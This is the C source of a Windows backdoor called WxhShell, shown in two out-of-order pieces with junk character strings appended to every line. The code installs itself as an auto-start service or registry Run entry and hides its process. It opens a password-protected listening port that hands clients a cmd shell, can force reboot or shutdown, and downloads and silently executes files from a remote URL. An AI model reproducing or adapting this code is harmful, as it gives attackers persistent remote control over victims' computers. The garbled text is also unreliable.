    if(Boot(SHUTDOWN)) 9BakxmAc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,O:4[M!$w  
    else { ()|e xWW  
    closesocket(wsh); aUMiRm-   
    ExitThread(0); i|h{<X7[  
    } F[c oa5  
    break; D!* SA  
    } dU-:#QV6  
  // 获取shell QHv]7&^rlj  
  case 's': { +IXr4M&3  
    CmdShell(wsh); J)g +I  
    closesocket(wsh); /[Nkk)8-  
    ExitThread(0); "I=Lbh-`  
    break; -d?<t}a  
  } ` &=%p|  
  // 退出 D Z~036  
  case 'x': { (Tq)!h35B  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vm gd  
    CloseIt(wsh); s[4qC  
    break; JXuks`:Q  
    } Ne9VRM P  
  // 离开 c*owP  
  case 'q': { g#P]72TQ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |3k r*#  
    closesocket(wsh); VnN(lJ  
    WSACleanup(); :2 \NG}  
    exit(1); G$)q% b;Lz  
    break; }Q[U4G  
        } 5#z7Hj&w  
  } c CjN8<  
  } <DMm [V{  
l )r^|9{  
  // 提示信息 0]ai*\,W7~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sfVzVS[  
} `_&vvJPn@!  
  } K z^.v`  
nVpDjUpN  
  return; wI7.M Gt  
} yTc&C)Jba  
HZ(giAyjq  
// shell模块句柄 FS7D  
int CmdShell(SOCKET sock) >uJu!+#  
{ z>W?\[E<2  
STARTUPINFO si; #Hy9 ;Q  
ZeroMemory(&si,sizeof(si)); f/ 3'lPK^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .mnkV -m  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2kgSIvk\  
PROCESS_INFORMATION ProcessInfo; -4Q\FLC'k  
char cmdline[]="cmd"; fda2dY;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J^WX^".E  
  return 0; s&%r?  
} 1< b~="  
<'T DOYb  
// 自身启动模式 JrxQ.,*i  
int StartFromService(void) 6Po {tKU  
{ akj#.aYk  
typedef struct U8aNL sw  
{ $U&p&pgH=W  
  DWORD ExitStatus; -{oZK{a1  
  DWORD PebBaseAddress; WM9({BZ  
  DWORD AffinityMask; ;<MHl[jJD  
  DWORD BasePriority; Ga^:y=m  
  ULONG UniqueProcessId; "6~+ -_:  
  ULONG InheritedFromUniqueProcessId; A{3nz DLI  
}   PROCESS_BASIC_INFORMATION; CTqhXk[  
&i805,lx  
PROCNTQSIP NtQueryInformationProcess; ?J|  
_Kli~$c& M  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; p=[I;U-#H  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )eX{a/Be  
xxgdp. (  
  HANDLE             hProcess; N5MWMN[6aP  
  PROCESS_BASIC_INFORMATION pbi; 2 9z@ !  
\+ Ese-la  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); DLq'V.M:  
  if(NULL == hInst ) return 0; +Lr`-</VF  
Eg4&D4TG p  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Q*f0YjH!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Rto/-I0l  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); xgsEe3|  
ZlMS=<hgFx  
  if (!NtQueryInformationProcess) return 0; 6m:$RW  
p`"Ic2xPJ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); uowdzJ7  
  if(!hProcess) return 0; l >oJ^J  
: t D`e<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;Rxc(tR!n  
aMK\&yZD  
  CloseHandle(hProcess); z2A,*|I  
dM -<aq  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); NwKj@Jos  
if(hProcess==NULL) return 0; f(EO|d^u  
1#zD7b~  
HMODULE hMod; 1O2V!?P  
char procName[255]; *mw *z|-^V  
unsigned long cbNeeded; M^n^wz  
V_4=0(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); MHCwjo"  
}?CKE<#%  
  CloseHandle(hProcess); YvUV9qps~  
-|:mRAe  
if(strstr(procName,"services")) return 1; // 以服务启动 Q}^qu6  
I 'ha=PeVn  
  return 0; // 注册表启动 nbv}Q-C  
} z wn#E  
:@Ml-ZE  
// 主模块 JGYJ;j{E]  
int StartWxhshell(LPSTR lpCmdLine) D4{<~/oBv  
{ LmKY$~5P  
  SOCKET wsl; 2H1?f|0>  
BOOL val=TRUE; `Gg,oCQg  
  int port=0; 5p7i9"tgn  
  struct sockaddr_in door; Q ~eh_>"  
RRpCWc Iv"  
  if(wscfg.ws_autoins) Install(); yx<-M  
4^^=^c  
port=atoi(lpCmdLine); Gg^gK*D  
pe!"!xJE  
if(port<=0) port=wscfg.ws_port; B?d+^sz]  
; Yt'$D*CP  
  WSADATA data; `@&WELFv{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; GCrsf  
EO/TuKt  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,H/BW`rL]#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N.V5>2  
  door.sin_family = AF_INET; $b )k  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ] $F%  
  door.sin_port = htons(port); uOx"oR|  
V|2[>\Cv  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3'55!DE  
closesocket(wsl); d263#R  
return 1; 0<Rq  
} Q^'xVS_.  
^ b{~]I  
  if(listen(wsl,2) == INVALID_SOCKET) { > =Na,D  
closesocket(wsl); N8*QAe kN  
return 1; m&- -$sr  
} )|&FBz;  
  Wxhshell(wsl); Z>.('  
  WSACleanup(); g T0@pxl  
b~!Q3o'W  
return 0; LO,:k+&A+  
NC"X{$o2  
} 7\i> >  
F ^)( 7}ph  
// 以NT服务方式启动 -{p~sRc&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5[`f(;  
{ *n9=Q9  
DWORD   status = 0; 1Uc/ r>u9  
  DWORD   specificError = 0xfffffff; nYTPcT4x|  
I9sQPa  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .bNG:y>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =GC,1WVEqV  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u"U7aYGkY  
  serviceStatus.dwWin32ExitCode     = 0; cE*d(g  
  serviceStatus.dwServiceSpecificExitCode = 0; 'Z6x\p  
  serviceStatus.dwCheckPoint       = 0; pvdCiYo1r  
  serviceStatus.dwWaitHint       = 0; K#x|/b'5d  
CH0Nkf  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); j HEt   
  if (hServiceStatusHandle==0) return; m :2A[H+  
p|w0 i[hc  
status = GetLastError(); oUL4l=dj.  
  if (status!=NO_ERROR) rotu#?B  
{ CE|rn8MB  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Lr*\LP6jx3  
    serviceStatus.dwCheckPoint       = 0; [$`%ve  
    serviceStatus.dwWaitHint       = 0; ]9}^}U1."  
    serviceStatus.dwWin32ExitCode     = status; "|/Q5 *L  
    serviceStatus.dwServiceSpecificExitCode = specificError; eI/5foA  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [I( Yn  
    return; ;IR.6k$;  
  } "6i3'jc`  
OgCz[QXr_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *~`BG5w  
  serviceStatus.dwCheckPoint       = 0; Ed1y%mR>  
  serviceStatus.dwWaitHint       = 0; O_v*,L!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8-x)8B  
} 1P G"IaOb  
SL`nt  
// 处理NT服务事件,比如:启动、停止 Lv<vMIr  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,#j'~-5  
{ ^MvBW6#1  
switch(fdwControl) se29IhS!e  
{ #l!nBY~  
case SERVICE_CONTROL_STOP: [6\b(kS+  
  serviceStatus.dwWin32ExitCode = 0; sL#MYW5E  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; a" L9jrVrw  
  serviceStatus.dwCheckPoint   = 0; sY&Z/Y  
  serviceStatus.dwWaitHint     = 0; G BM8:IG \  
  { #@P0i^pFTB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vU9:` @beu  
  } L fZF  
  return; U,Fyi6{~  
case SERVICE_CONTROL_PAUSE: ^`bMFsP  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; c-ql  
  break; EvF[h:C2  
case SERVICE_CONTROL_CONTINUE: v4, Dt  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *$@u`nM  
  break; No*[@D]g  
case SERVICE_CONTROL_INTERROGATE: H`rd bE  
  break; (btm g<WT"  
}; H4<Q}([w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '%y;{,g*  
} `pqTiV  
gzN51B=D  
// 标准应用程序主函数 !i\ gCLg2_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +tJ 7ZR%  
{ WF<3 7"A@  
$4BvDZDk`B  
// 获取操作系统版本 x7/";L>  
OsIsNt=GetOsVer(); eU8p;ajW!L  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $ByP 9=|  
a`>H69(bU  
  // 从命令行安装 }ldpudU  
  if(strpbrk(lpCmdLine,"iI")) Install(); k`J|]99Wb  
I8uFMP  
  // 下载执行文件 ]AX3ov6z9;  
if(wscfg.ws_downexe) { \;JZt[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) uc/W/c u,  
  WinExec(wscfg.ws_filenam,SW_HIDE); `yO'-(@"gY  
}  BO.Db``  
q`UaJ_7  
if(!OsIsNt) { ~yJJ00%  
// 如果时win9x,隐藏进程并且设置为注册表启动 w@LLxL>Y  
HideProc(); Gr#WD=I-}  
StartWxhshell(lpCmdLine); S q{@4F}d  
} 1:J+`mzpl  
else IL`=r6\  
  if(StartFromService()) 6w[EJ;=p_  
  // 以服务方式启动 wOsg,p;\'  
  StartServiceCtrlDispatcher(DispatchTable); I{=Yuc  
else  45WJb+$  
  // 普通方式启动 gyuBmY  
  StartWxhshell(lpCmdLine); K|I<kA~!H  
|qBcE  
return 0; "uFwsjz&B  
} uaZHM@D  
U>DCra;  
egVKAR-  
Eihn%Esa  
=========================================== "F[7b!>R  
bP>Kx-%q  
tS-gaT`T  
73Hm:"Eqd  
/Q_ Dd  
<. *bJ  
" l>KkAA  
h J0U-m  
#include <stdio.h> $tej~xZK  
#include <string.h> %r8;i  
#include <windows.h> r-.>3J  
#include <winsock2.h> YrV@k*O*  
#include <winsvc.h> d</F6aM\  
#include <urlmon.h> E;[Uhh|78!  
dT[JVl+3=  
#pragma comment (lib, "Ws2_32.lib") pTXF^:8  
#pragma comment (lib, "urlmon.lib") 4u+0 )<  
uqLP$At  
#define MAX_USER   100 // 最大客户端连接数 dCe LW  
#define BUF_SOCK   200 // sock buffer );kD0FO1|  
#define KEY_BUFF   255 // 输入 buffer qG ? :Q  
n>w<vM  
#define REBOOT     0   // 重启 NpaS2q-d  
#define SHUTDOWN   1   // 关机 V:vqt@  
!F.h+&^D;  
#define DEF_PORT   5000 // 监听端口 PcqS#!t  
Qj*.Z4ue  
#define REG_LEN     16   // 注册表键长度 72 |O&`O  
#define SVC_LEN     80   // NT服务名长度 MpBdke$  
FRQ0t!b<M1  
// 从dll定义API K6sXw[VC[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w)`XM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @\o"zU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *l=(?Pe<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Eku  9u  
RB|i<`Z  
// wxhshell配置信息 8g Z)c\  
struct WSCFG { hidQOh  
  int ws_port;         // 监听端口 zo8D"  
  char ws_passstr[REG_LEN]; // 口令 1GqSY|FSGp  
  int ws_autoins;       // 安装标记, 1=yes 0=no Ka_;~LS>(  
  char ws_regname[REG_LEN]; // 注册表键名 P=_fYA3  
  char ws_svcname[REG_LEN]; // 服务名 /KNDo^P  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;S '?l0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,Aai-AGG@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 dvU{U@:sz  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {_/o' 6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /;Hr{f jl{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _TGs .t  
*3r s+0  
}; igW* {)h3  
-%@ah:iJ  
// default Wxhshell configuration >7zC-3  
struct WSCFG wscfg={DEF_PORT, lo(C3o'  
    "xuhuanlingzhe", wjD<"p;P  
    1, +`_0tM1  
    "Wxhshell", @XXPJq;J  
    "Wxhshell", WgqSw%:$H  
            "WxhShell Service", m\X\Xp~A  
    "Wrsky Windows CmdShell Service", J=k=cFUX  
    "Please Input Your Password: ", _+'!l'`  
  1, -Ep#q&\  
  "http://www.wrsky.com/wxhshell.exe", E6Z kO/  
  "Wxhshell.exe" \2 e^x  
    }; `$ S&:Q,  
&Jc atI  
// 消息定义模块 8B:y46  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; o~)o/(>ox  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "ayV8{m^3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %9a3$OGZX  
char *msg_ws_ext="\n\rExit."; BdF/(Pg  
char *msg_ws_end="\n\rQuit."; yCvtglAJ4  
char *msg_ws_boot="\n\rReboot..."; brs`R#e \  
char *msg_ws_poff="\n\rShutdown..."; ninWnQq  
char *msg_ws_down="\n\rSave to "; 7HBf^N.  
&i(Ip'r  
char *msg_ws_err="\n\rErr!"; JE7m5k Ta  
char *msg_ws_ok="\n\rOK!"; Hd\V?#H  
9$HBKcO  
char ExeFile[MAX_PATH]; dpw-a4o}  
int nUser = 0; fg3Jv*  
HANDLE handles[MAX_USER]; t15{>>f4>  
int OsIsNt; V<J1.8H  
YnRO>`  
SERVICE_STATUS       serviceStatus; "`V@?+3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; oDMPYkpTu  
XhHgXVVGG<  
// 函数声明 OyF=G^w  
int Install(void); }!oEjcX'  
int Uninstall(void); .i I{  
int DownloadFile(char *sURL, SOCKET wsh); b4i=%]v8  
int Boot(int flag); hdH z", )  
void HideProc(void); 1o%#kf  
int GetOsVer(void); 45 sEhs[$  
int Wxhshell(SOCKET wsl); CqlxE/|  
void TalkWithClient(void *cs); Y?NL|cW4  
int CmdShell(SOCKET sock); 9hfg/3t('  
int StartFromService(void); =g9n =spAn  
int StartWxhshell(LPSTR lpCmdLine); W Su6chz)  
kpIn_Ea  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z%]K,9K  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ( .cA'f?h  
r|u[36NmA  
// 数据结构和表定义 zR?R,k)m  
SERVICE_TABLE_ENTRY DispatchTable[] = _ZK^J S  
{ N*}soMPV^.  
{wscfg.ws_svcname, NTServiceMain}, N68$b#9Ry  
{NULL, NULL} jJ$B^Y"4  
}; !SW0iq[7j  
<@KIDZYC  
// 自我安装 \+%~7Bi]z  
int Install(void) ~ p? ArZb  
{ XNWtX-[ ^@  
  char svExeFile[MAX_PATH]; gZ$ 8Y7  
  HKEY key; ~3?-l/$  
  strcpy(svExeFile,ExeFile); V%r`v%ktF  
!q\=e@j-i  
// 如果是win9x系统,修改注册表设为自启动 S F*C'  
if(!OsIsNt) { <v|"eq}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,bl }@0A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @)6b  
  RegCloseKey(key); ^EX"fRwNi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cZNcplt8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M/=36{,w-  
  RegCloseKey(key); ,r w4Lo  
  return 0; /B@{w-N  
    } a31e.3 6g  
  } id1cZig  
} |VWT4*K  
else { =# Sw.N  
C!*!n^qA  
// 如果是NT以上系统,安装为系统服务 ='o3<}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0w3c8s.  
if (schSCManager!=0) Y0a[Lb0  
{ ?l/6DT>e  
  SC_HANDLE schService = CreateService Q:(mK* _  
  ( W/!P1M n  
  schSCManager, :S0!  
  wscfg.ws_svcname, 5;/n`Bd  
  wscfg.ws_svcdisp, **hQb$  
  SERVICE_ALL_ACCESS, uGMzU&+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +M0pmK!  
  SERVICE_AUTO_START, ca_mift  
  SERVICE_ERROR_NORMAL, Snf_{A<  
  svExeFile, gM3:J:N  
  NULL, pXSShU#  
  NULL, "=Br&FN{|  
  NULL, 1P!)4W  
  NULL, +twoUn{#  
  NULL 2e1KF=N+  
  ); 6WY/[TC-  
  if (schService!=0) @=Q!a (g  
  { XGx[Ny_A2  
  CloseServiceHandle(schService); *vD.\e~  
  CloseServiceHandle(schSCManager); \FVfV`x  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \"a{\E,{;  
  strcat(svExeFile,wscfg.ws_svcname); aV'bI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;t{q]"? W  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o6[.$C  
  RegCloseKey(key); )@N d3Z  
  return 0; ZZT #V%Q=u  
    } ^HC 6v;K  
  } 6eV#x%z@v'  
  CloseServiceHandle(schSCManager); p@Y=6Bw  
} @Dh2@2`>  
} !{lH*  
b5NVQ8Mq  
return 1; %qoS(iO`h  
} 1hG#  
 z% wh|q  
// 自我卸载 |sZqqgZ-  
int Uninstall(void) S\A/*!%~y  
{ X2|~(*  
  HKEY key; U g"W6`  
:-1|dE)U  
if(!OsIsNt) { R/hI XO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~lw9sm*2v2  
  RegDeleteValue(key,wscfg.ws_regname); *S.U8;*Xj  
  RegCloseKey(key); &zEQbHK6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WoEK #,I;  
  RegDeleteValue(key,wscfg.ws_regname); ==dKC;  
  RegCloseKey(key); DzAZv/h76  
  return 0; ;V}:0{p  
  } h[mT4 e3c  
} v-{g  
} }UhYwJf89  
else { .{V"Gn9!  
$'J3 /C7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); jc5[r;#  
if (schSCManager!=0) "?8)}"/f  
{ |?!i},Ki;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &W2*'$j"_  
  if (schService!=0) 3z8i0  
  { U) J5K  
  if(DeleteService(schService)!=0) { '$9o(m#  
  CloseServiceHandle(schService); YWFE*wQ!  
  CloseServiceHandle(schSCManager); ^jL '*&l  
  return 0; R BYhU55B  
  } |6E_N5~  
  CloseServiceHandle(schService); }Pcm'o_wT  
  } Og\k5.! ,  
  CloseServiceHandle(schSCManager); xlI =)ak{  
} PF%-fbh!~  
} Ir9GgB  
M et]|&  
return 1; F$7!j$ Z  
} _'=,c"  
40t xZFQ0  
// 从指定url下载文件 (\AN0_  
int DownloadFile(char *sURL, SOCKET wsh) IO%kXF.[  
{ #EPC]jFk  
  HRESULT hr; -YA,Stc-  
char seps[]= "/"; 0fsVbC  
char *token;  - vvyG  
char *file; @-$8)?`q  
char myURL[MAX_PATH]; nKx)R^]k  
char myFILE[MAX_PATH]; Tuln#<:  
[9; @1I<x  
strcpy(myURL,sURL); J&xZN8jW   
  token=strtok(myURL,seps); M8/a laoT  
  while(token!=NULL) 76nH)^%l<  
  { ~YYnn7)  
    file=token; Su#0 F0  
  token=strtok(NULL,seps); !}&|a~U@`k  
  } `'YX>u/  
idI w7hi4  
GetCurrentDirectory(MAX_PATH,myFILE); a1Fx|#! mq  
strcat(myFILE, "\\"); $V~@w.-Z#  
strcat(myFILE, file); Lljn\5!r<  
  send(wsh,myFILE,strlen(myFILE),0); B~]Kqp7yU  
send(wsh,"...",3,0);  Gl~l  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); s)^/3a  
  if(hr==S_OK) ={BD*= i  
return 0; jq+(2  
else #HUn~r  
return 1; yXJhOCa  
 W2vL<  
} DR#" 3  
jP+yN|  
// 系统电源模块 28MMH Q  
int Boot(int flag) &2 tfj(ms  
{ TKDG+`TyZ  
  HANDLE hToken; 7N$2N!I(  
  TOKEN_PRIVILEGES tkp; \-\>JPO~<  
Ew8@{X y  
  if(OsIsNt) { .~]|gg~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]eL# bJ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &K^0PzWWof  
    tkp.PrivilegeCount = 1; VBhUh~:Om  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |L2>|4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); SQodk:1)  
if(flag==REBOOT) {  384n1?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <FT7QO$I  
  return 0; /3b *dsYsl  
} +}:Z9AAMy  
else { S$mv(C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !=[Y yh  
  return 0; q}{E![ZTu  
} ) c@gRb~  
  } tLE8+[ SU  
  else { ? x)^f+:9|  
if(flag==REBOOT) { !]4u"e  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) zoq;3a5cqB  
  return 0;  E]V, @  
} Bkcwl  
else { z*.AuEK?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^m\o(R  
  return 0; Kd\0nf6  
} 1/DtF  
} &.A_d+K&  
wi2`5G6|z  
return 1; ^z?b6kTC  
} !cW rB9  
3?93Pj3oPt  
// win9x进程隐藏模块 3[m~-8  
void HideProc(void) @r"\bBi  
{ mqSVd^  
Oa[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %|-N{>wKy  
  if ( hKernel != NULL ) |XyX%5p*  
  { C=?S  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); X4;U4pU#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `4"8@>D  
    FreeLibrary(hKernel); W}(A8g#6  
  } jPh<VVQ$@  
i ;FKnK  
return; SB62(#YR  
} _"8n&=+  
'E| %l!xO  
// 获取操作系统版本 i VSNara  
int GetOsVer(void) :5YIoC  
{ ]N>ZOV,>  
  OSVERSIONINFO winfo;  |$Yk)z3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); sI>w#1.m/&  
  GetVersionEx(&winfo); 0seCQANd  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]*0zir/  
  return 1; [|nK5(e9  
  else E7uIur=g!  
  return 0; ]c(FgY c  
} +R'8$  
+=tdgw/  
// 客户端句柄模块 Wf~^,]9N  
int Wxhshell(SOCKET wsl) w-|Rb~XT h  
{ @|gG3  
  SOCKET wsh; UHl3/m7g  
  struct sockaddr_in client; ]ch=@IV  
  DWORD myID; C,|&  
XC<fNK  
  while(nUser<MAX_USER) >"W^|2R  
{ j<AOC?  
  int nSize=sizeof(client); P{Nvt/%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >y%H2][  
  if(wsh==INVALID_SOCKET) return 1; g~U( w  
{yn,u)@r9S  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); TOG:`FID  
if(handles[nUser]==0) 7[ ovEE54  
  closesocket(wsh); +gl\l?>sr  
else FXCBX:LnvU  
  nUser++; Wt.DL mO  
  } ZFZ'&"+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); K+3-XhG  
z "@^'{.l  
  return 0; 4.9qB  
} d4y#n=HnnV  
Mh%{cLM  
// 关闭 socket mWviWHK  
void CloseIt(SOCKET wsh) VG5+u,U6>  
{ xm m,- u  
closesocket(wsh); o/AG9|()4  
nUser--; ~j!n`#.\  
ExitThread(0); i"Jy>'  
} P\"kr?jZP  
T?3Q<[SmI  
// 客户端请求句柄 J=A)]YE  
void TalkWithClient(void *cs) [S6u:;7  
{ _}[ Du/c  
*byUqY3(  
  SOCKET wsh=(SOCKET)cs; i?T-6{3I  
  char pwd[SVC_LEN]; Q 3WD!Z8y  
  char cmd[KEY_BUFF]; cU;Bm}U  
char chr[1]; w2B)$u  
int i,j; 196aYLE  
k+J3Kl09hM  
  while (nUser < MAX_USER) { jCqz^5=$  
teok*'b:  
if(wscfg.ws_passstr) { J/]%zwDwS  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %" iX3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eMGJx"a  
  //ZeroMemory(pwd,KEY_BUFF); z}vT8qoX  
      i=0; 6wlLE5  
  while(i<SVC_LEN) { &h:4TaD  
>a"J);p  
  // 设置超时 ()lgd7|+  
  fd_set FdRead; EjP;P}_iK  
  struct timeval TimeOut; 6,t6~Uo/  
  FD_ZERO(&FdRead); m?S;s ew@5  
  FD_SET(wsh,&FdRead); rm-d),Zt  
  TimeOut.tv_sec=8; M=,pn+}y>  
  TimeOut.tv_usec=0; %&L1 3:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); b++r#Q g  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6uE20O<z]  
C'#KTp4!1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0["93n}r  
  pwd=chr[0]; 9#DXA}  
  if(chr[0]==0xd || chr[0]==0xa) { Xi="gxp$%  
  pwd=0; yZlT#^$\  
  break; Nd0tR3gi7  
  } Nm)3   
  i++; 6Zi{gx  
    } juEPUsE  
-y.cy'$f  
  // 如果是非法用户,关闭 socket >LBA0ynh {  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e-dkvPr  
} a_N7X  
t$BjJ -G  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x?AG*' h&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yY VR]HH  
p]aEC+q  
while(1) { .fWy\ r0  
f:-)S8OJ  
  ZeroMemory(cmd,KEY_BUFF); sH6;__e  
(.-4Jn  
      // 自动支持客户端 telnet标准   12`u[O}\}-  
  j=0; Zc7;&cz  
  while(j<KEY_BUFF) { 7|}4UXr7y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cSt)Na~C  
  cmd[j]=chr[0]; e!VtDJDS  
  if(chr[0]==0xa || chr[0]==0xd) { [CQR  
  cmd[j]=0; n>ryS/1  
  break; '/O:@P5qY  
  } 5 kHaZ Q  
  j++; 217G[YE-  
    } =j>xu|q  
Y j oe|  
  // 下载文件 <Km9Mq  
  if(strstr(cmd,"http://")) { 4  OPY  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); qvn.uujYS  
  if(DownloadFile(cmd,wsh)) m CO1,?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ox-m)z `7  
  else JxIJxhA>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /+*"*Br/  
  } 5dj" UxH  
  else { ]\*^G@HA2  
_xKn2?d8g  
    switch(cmd[0]) {  7)2K6<q  
  V 20h\(\\  
  // 帮助 tSHW"R  
  case '?': { =MNp;  
